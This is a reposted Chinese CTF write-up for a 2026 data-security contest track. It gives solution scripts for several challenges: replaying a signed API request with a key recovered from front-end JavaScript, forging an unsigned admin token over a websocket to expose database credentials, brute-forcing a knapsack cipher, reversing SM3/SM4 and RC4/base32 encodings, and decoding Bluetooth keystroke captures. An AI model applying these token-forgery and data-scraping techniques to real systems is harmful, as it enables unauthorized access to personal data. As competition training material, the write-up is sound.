2026数字中国创新大赛数据安全赛道个人赛部分wp
赛查查
2026年10月12日 18:10
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
以下文章来源于横沟村干饭人
,作者ZLSk4ever
横沟村干饭人
.
今晚吃什么
四月份的比赛,炒冷饭喵
1、数据审计
所有数据在请求时都会直接下发到浏览器,只要能恢复出密钥并构造请求就可以绕过前端访问数据接口,而且数据接口和json格式都写在前端的代码里,从js中可以找到数据接口的路径、密钥、签名算法
所以可以构建exp,按照逻辑恢复密钥明文并根据接口路径获取json文件,最后查找拿到手机号
const fs = require(”fs”); const crypto = require(”crypto”); function hexToString(hex) { return Buffer.from(hex, ”hex”).toString(”utf8”); } function sha256(input) { return crypto.createHash(”sha256”).update(input, ”utf8”).digest(”hex”); } function buildSignedPath(timestamp) { const path = ”/api/v2/f7e9/data”; const secret = hexToString(”4434743453336375723174795f323032365f4b3379”); const signature = sha256(`${timestamp}_${path}_${secret}`); return { path, secret, timestamp, signature, relativeUrl: `${path}?t=${encodeURIComponent(timestamp)}&s=${encodeURIComponent(signature)}` }; } async function main() { const baseUrl = process.argv[2]; const cookie = process.argv[3] || ””; if (!baseUrl) { console.error(”usage: node fetch.js http://host:port [cookie]”); process.exit(1); } const timestamp = Math.floor(Date.now() / 1000).toString(); const result = buildSignedPath(timestamp); const fullUrl = baseUrl.replace(/\\/+$/, ””) + result.relativeUrl; const headers = { Accept: ”application/json” }; if (cookie) { headers.Cookie = cookie; }
console.log(”secret:”, result.secret); console.log(”url:”, fullUrl); const resp = await fetch(fullUrl, { method: ”GET”, headers }); const text = await resp.text(); fs.writeFileSync(”response_raw.txt”, text, ”utf8”); console.log(”status:”, resp.status); console.log(”saved: response_raw.txt”); try { const json = JSON.parse(text); fs.writeFileSync(”response.json”, JSON.stringify(json, null, 2), ”utf8”); console.log(”saved: response.json”); if (Array.isArray(json.list)) { console.log(”records:”, json.list.length) } } catch { console.log(”response is not valid JSON”); } } main().catch(err => { console.error(err); process.exit(1); });
3、数据访问
前端登录时token没有签名和校验,只需要伪造role=admin的token就可以实现回显
管理员权限的core\_config前端登录认证的payload是这样的格式
{ ”type”: ”auth”, ”token”: ”Base64(JSON)” }
解码token之后可以看到格式是
{ ”username”: ”guest”, ”role”: ”visitor”, ”device_id”: ”dev_xxx”, ”timestamp”: 1710000000000 }
把role改成admin重新base64编码后用ws发送过去就可以在仪表盘看到信息
{ ”type”: ”dashboard_update”, ”level”: ”critical”, ”data”: { ”system_status”: ”正常运行”, ”uptime”: ”24h 15m 30s”, ”core_config”: { ”db_host”: ”192.168.10.5”, ”db_port”: 3306, ”db_user”: ”root”, ”db_secret_credential”: ”DB_SUPER_ADMIN_KEY: #S3cur1ty_D@t@_Pr0t3ct10n_2024!”, ”api_key”: ”sk-live-7382910384756291” } } }
5、数据加密
背包密码,可以先不着急恢复私钥
用公钥对护照号执行加密并查找相差不多的记录就可以找到乘客CHEN NA,航班号格式是已知的,长度为6,一般只会使用公钥前48位,所以可以进行爆破:枚举AA0000到ZZ9999,用公钥加密后选择误差在3以内的结果,得到航班号MU2458
import csv import pathlib import string BASE_DIR = pathlib.Path(r””) PUBLIC_KEY_PATH = BASE_DIR / ”public_key.txt” CSV_PATH = BASE_DIR / ”flight_data.csv” TARGET_PASSPORT = ”D84961792” def load_public_key(): return [int(x) for x in PUBLIC_KEY_PATH.read_text(encoding=”utf-8”).strip().split(”,”)] def encrypt(msg, public_key): if isinstance(msg, str): msg = msg.encode(”utf-8”) msg_val = int.from_bytes(msg, byteorder=”big”) if msg_val.bit_length() > len(public_key): msg_val &= (1 << len(public_key)) - 1 total = 0 temp = msg_val for weight in public_key: if temp & 1: total += weight temp >>= 1 return total def find_passenger_row(public_key): target = encrypt(TARGET_PASSPORT, public_key) with CSV_PATH.open(encoding=”utf-8”) as f: reader = csv.DictReader(f) passport_key = reader.fieldnames[1] for row in reader: value = int(row[passport_key]) if -3 <= value - target <= 3: return row raise RuntimeError(”Target passenger not found”) def build_byte_contrib(public_key, max_bytes=16): tables = [] for pos in range(max_bytes): contrib = [0] * 256 base = pos * 8 for byte in range(256): s = 0 tmp = byte for i in range(8): if tmp & 1: s += public_key[base + i] tmp >>= 1 contrib[byte] = s tables.append(contrib) return tables def recover_flight_number(ciphertext, public_key): contrib = build_byte_contrib(public_key) letters = string.ascii_uppercase digits = [f”{i:04d}” for i in range(10000)] suffix_sums = [] for number in digits: suffix_sums.append(( number, contrib[3][ord(number[0])] + contrib[2][ord(number[1])] + contrib[1][ord(number[2])] + contrib[0][ord(number[3])] )) for first in letters: first_sum = contrib[5][ord(first)] for second in letters: prefix_sum = first_sum + contrib[4][ord(second)] for number, suffix_sum in suffix_sums: total = prefix_sum + suffix_sum if -3 <= ciphertext - total <= 3: return first + second + number raise RuntimeError(”Flight number not recovered”) def main(): public_key = load_public_key() row = find_passenger_row(public_key) flight_cipher = int(row[”航班号”]) flight_number = recover_flight_number(flight_cipher, public_key) flag = f”{flight_number}-{row['座位号']}-{row['出发地']}-{row['目的地']}” print(”Passenger row:”, row) print(”Recovered flight number:”, flight_number) print(”Flag:”, flag) if __name__ == ”__main__”: main()
6.数据脱敏
先观察程序行为,运行一下
可以判断表格当中的数据是加密而非完全脱敏
使用IDA反编译exe看到含有SM3的初始化常量:
7380166f 4914b2b9 172442d7 da8a0600 a96f30bc 163138aa e38dee4d b0fb0e4e
可以判断至少对手机号进行了一次SM3加密
结合调用还发现有SM4-CBC加密
在.rdata中还可以找到两串固定字符串,可能是key和iV
程序使用SM3加密的结果作为C字符串处理,如果遇到0x00则截断后按16字节每组补零,最后再进行SM4-CBC程序逻辑实现如下
import hashlib from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes KEY = b”1e4515\\x893a67370a3” IV = b”8a3E414f4d297222” def ds_encrypt(phone: str) -> str: d = hashlib.new(”sm3”, phone.encode()).digest() zero_pos = d.find(b”\\x00”) if zero_pos == -1: zero_pos = len(d) if zero_pos == 0: data = b””
else: blocks = ((zero_pos - 1) >> 4) + 1 data = d[:zero_pos] + b”\\x00” * (blocks * 16 - zero_pos) cipher = Cipher(algorithms.SM4(KEY), modes.CBC(IV)) enc = cipher.encryptor() return (enc.update(data) + enc.finalize()).hex() print(ds_encrypt(”12345678901”))
接下来只需要爆破ds\_encrypt(1577xxxxxxx)的值与表格中进行比对即可拿到手机号
8、数据存储
程序是ELF文件,用IDA反编译一下可以看到输入和输出文件名
在.rodata里可以看到一段关键字符串
全大写,32种字符,猜想是换表base32
用这个码表进行解码后得到了原始数据
后面分析程序可以看到sub\_401AEE ,0x401D70 到 0x401DAE使用前面看到的key d3b25ac1进行循环异或
另外在sub\_401276和sub\_401493可以看到0到255的初始化循环和流加密过程
可以判断是先进行循环异或,在RC4加密,最后base32编码
from __future__ import annotations import argparse from pathlib import Path CUSTOM_B32_ALPHABET = ”M74NVWJHSRB2F5POI36QUGTKAXCYZLDE” OUTER_XOR_KEY = b”d3b25ac1” INNER_STREAM_KEY = b”d0485062ffd23a4” def decode_custom_base32(data: str) -> bytes: table = {ch: idx for idx, ch in enumerate(CUSTOM_B32_ALPHABET)} pad_trim = {0: 0, 1: 1, 3: 2, 4: 3, 6: 4} out = bytearray()
for offset in range(0, len(data), 8): chunk = data[offset : offset + 8] pad = chunk.count(”=”) value = 0 for ch in chunk: value = (value << 5) | (0 if ch == ”=” else table[ch]) block = bytearray( [ (value >> 32) & 0xFF, (value >> 24) & 0xFF, (value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF, ] ) trim = pad_trim[pad] out.extend(block[:-trim] if trim else block) return bytes(out) def init_state(key: bytes) -> list[int]: state = list(range(256)) j = 0 key_index = 0 for i in range(256): current = state[i] j = (j + current + key[key_index] + 0x13) & 0xFF state[i], state[j] = state[j], state[i] key_index = (key_index + 1) % len(key) return [0, 0, *state]
def transform_stream(state: list[int], data: bytearray) -> None: i = state[0] j = state[1] s = state[2:]
for index in range(len(data)): i = (i + 1) & 0xFF a = s[i] j = (j + a) & 0xFF b = s[j] s[i], s[j] = s[j], s[i] data[index] ^= s[(a + b + 0x19) & 0xFF] state[0] = i state[1] = j state[2:] = s
def decrypt_blob(blob: str) -> bytes: data = bytearray(decode_custom_base32(blob.strip()))
for index in range(len(data)): data[index] ^= OUTER_XOR_KEY[index % len(OUTER_XOR_KEY)] transform_stream(init_state(INNER_STREAM_KEY), data) return bytes(data)
def extract_cell(text: str, row: int, column: int) -> str: lines = text.splitlines() fields = lines[row - 1].split() return fields[column - 1]
def main() -> None: parser = argparse.ArgumentParser( description=”Decrypt info_09339e4.ori.en and optionally print a target cell.” ) parser.add_argument( ”input”, nargs=”?”, default=r”info_09339e4.ori.en”, help=”Encrypted input file”, ) parser.add_argument( ”-o”, ”--output”, help=”Write decrypted plaintext to this path”, )
parser.add_argument(”--row”, type=int, default=28, help=”1-based row index”) parser.add_argument(”--col”, type=int, default=2, help=”1-based column index”) args = parser.parse_args() plaintext = decrypt_blob(Path(args.input).read_text(encoding=”utf-8”)) text = plaintext.decode(”utf-8”)
if args.output: Path(args.output).write_text(text, encoding=”utf-8”)
print(extract_cell(text, args.row, args.col))
if __name__ == ”__main__”: main()
数据分析1
检查可能与客户相关的文件,找到了客户分析报告\_华东区\_2026Q1.docx,下面有未删除的隐藏文字,解出题目
数据分析3
看文件头是蓝牙数据包,用WireShark打开看一下判断是蓝牙键鼠的通信,使用脚本解码得到信息
from __future__ import annotations import argparse import struct from collections import Counter from dataclasses import dataclass from pathlib import Path
KEYMAP = { 0x04: ”a”, 0x05: ”b”, 0x06: ”c”, 0x07: ”d”, 0x08: ”e”, 0x09: ”f”, 0x0A: ”g”, 0x0B: ”h”, 0x0C: ”i”, 0x0D: ”j”, 0x0E: ”k”, 0x0F: ”l”, 0x10: ”m”, 0x11: ”n”, 0x12: ”o”, 0x13: ”p”, 0x14: ”q”, 0x15: ”r”, 0x16: ”s”, 0x17: ”t”, 0x18: ”u”, 0x19: ”v”, 0x1A: ”w”, 0x1B: ”x”, 0x1C: ”y”, 0x1D: ”z”, 0x1E: ”1”, 0x1F: ”2”, 0x20: ”3”, 0x21: ”4”, 0x22: ”5”, 0x23: ”6”, 0x24: ”7”, 0x25: ”8”, 0x26: ”9”, 0x27: ”0”, 0x28: ”\
”, 0x2C: ” ”, 0x2D: ”-”, 0x2E: ”=”, 0x2F: ”[”, 0x30: ”]”, 0x31: ”\\\\”, 0x33: ”;”, 0x34: ”'”, 0x35: ”`”, 0x36: ”,”, 0x37: ”.”, 0x38: ”/”, }
SHIFTED = { ”1”: ”!”, ”2”: ”@”, ”3”: ”#”, ”4”: ”$”, ”5”: ”%”, ”6”: ”^”, ”7”: ”&”, ”8”: ”*”, ”9”: ”(”, ”0”: ”)”, ”-”: ”_”, ”=”: ”+”, ”[”: ”{”, ”]”: ”}”, ”\\\\”: ”|”, ”;”: ”:”, ”'”: '”', ”`”: ”~”, ”,”: ”<”, ”.”: ”>”, ”/”: ”?”, }
LEFT_SHIFT = 0x02 RIGHT_SHIFT = 0x20 @dataclass class PacketRecord: index: int included_length: int flags: int timestamp: int payload: bytes @dataclass class KeyboardPress: record_index: int timestamp_us: int modifier: int keycode: int char: str raw_payload: bytes
def parse_btsnoop(path: Path) -> list[PacketRecord]: data = path.read_bytes() if data[:8] != b”btsnoop\\x00”: raise ValueError(”not a btsnoop file”) records: list[PacketRecord] = [] cursor = 16 index = 1
while cursor + 24 <= len(data): original_len, included_len, flags, drops, ts_hi, ts_lo = struct.unpack( ”>IIIIII”, data[cursor : cursor + 24] ) cursor += 24 payload = data[cursor : cursor + included_len] cursor += included_len
if len(payload) != included_len or original_len != included_len: raise ValueError(f”truncated record at index {index}”) timestamp = (ts_hi << 32) | ts_lo _ = drops records.append(PacketRecord(index, included_len, flags, timestamp, payload)) index += 1
return records
def iter_l2cap_payloads(records: list[PacketRecord]): for record in records: payload = record.payload if len(payload) < 8: continue data_total_len = int.from_bytes(payload[2:4], ”little”) if len(payload) != data_total_len + 4: continue l2cap_len = int.from_bytes(payload[4:6], ”little”) cid = int.from_bytes(payload[6:8], ”little”) l2cap_payload = payload[8:] if len(l2cap_payload) != l2cap_len: continue yield record, cid, l2cap_payload
def decode_key(modifier: int, keycode: int) -> str: char = KEYMAP.get(keycode, f”<0x{keycode:02x}>”) if modifier & (LEFT_SHIFT | RIGHT_SHIFT): if len(char) == 1 and ”a” <= char <= ”z”: return char.upper() return SHIFTED.get(char, char) return char
def extract_keyboard_presses(records: list[PacketRecord]) -> list[KeyboardPress]: presses: list[KeyboardPress] = [] for record, cid, payload in iter_l2cap_payloads(records): if cid != 0x0041 or len(payload) < 5: continue if payload[:2] != b”\\xA1\\x01”: continue modifier = payload[2] keycode = payload[4] if keycode == 0: continue
presses.append( KeyboardPress( record_index=record.index, timestamp_us=record.timestamp, modifier=modifier, keycode=keycode, char=decode_key(modifier, keycode), raw_payload=payload, ) ) return pressesdef count_mouse_reports(records: list[PacketRecord]) -> int: total = 0 for _, cid, payload in iter_l2cap_payloads(records): if cid == 0x0041 and payload[:2] == b”\\xA1\\x02”: total += 1 return total
def format_timestamp(timestamp_us: int, first_timestamp_us: int) -> str: relative = (timestamp_us - first_timestamp_us) / 1_000_000 return f”{relative:9.6f}s”
def main() -> None: parser = argparse.ArgumentParser(description=”Analyze a Bluetooth btsnoop log.”) parser.add_argument(”path”, nargs=”?”, default=”super.log”, help=”path to btsnoop log”) parser.add_argument( ”--details”, action=”store_true”, help=”print every decoded keyboard press”, ) args = parser.parse_args() path = Path(args.path) records = parse_btsnoop(path) keyboard_presses = extract_keyboard_presses(records) message = ””.join(press.char for press in keyboard_presses) mouse_reports = count_mouse_reports(records)
print(f”File: {path}”) print(f”Records: {len(records)}”) print(f”Mouse reports (A1 02): {mouse_reports}”) print(f”Keyboard presses (A1 01, non-empty): {len(keyboard_presses)}”) print(f”Decoded message: {message!r}”)
if keyboard_presses: first_ts = keyboard_presses[0].timestamp_us mods = Counter(press.modifier for press in keyboard_presses) print(f”Modifiers seen: {dict(mods)}”)
if args.details: print(”\
Decoded key presses:”) for press in keyboard_presses: relative = format_timestamp(press.timestamp_us, first_ts) print( f”record={press.record_index:4d} ” f”time={relative} ” f”mod=0x{press.modifier:02x} ” f”key=0x{press.keycode:02x} ” f”char={press.char!r} ” f”raw={press.raw_payload.hex()}” )
if __name__ == ”__main__”: main()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论